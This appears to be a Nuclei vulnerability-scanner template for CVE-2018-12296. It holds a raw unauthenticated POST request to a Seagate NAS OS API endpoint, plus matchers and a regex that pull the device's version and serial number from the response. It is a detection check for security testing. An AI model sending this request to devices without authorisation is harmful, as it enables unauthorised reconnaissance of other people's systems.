id: CVE-2018-12296

info:
  name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure
  author: princechaddha
  severity: high
  description: Insufficient access control in /api/external/7.0/system.System.get_infos in Seagate NAS OS version 4.3.15.1 allows attackers to obtain information about the NAS without authentication via empty POST requests.
  reference:
    - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12296
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12296
    cwe-id: CWE-732
  tags: cve,cve2018,seagate,nasos,disclosure,unauth

requests:
  - raw:
      - |
        POST /api/external/7.0/system.System.get_infos HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '"version":'
          - '"serial_number":'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"version": "([0-9.]+)"'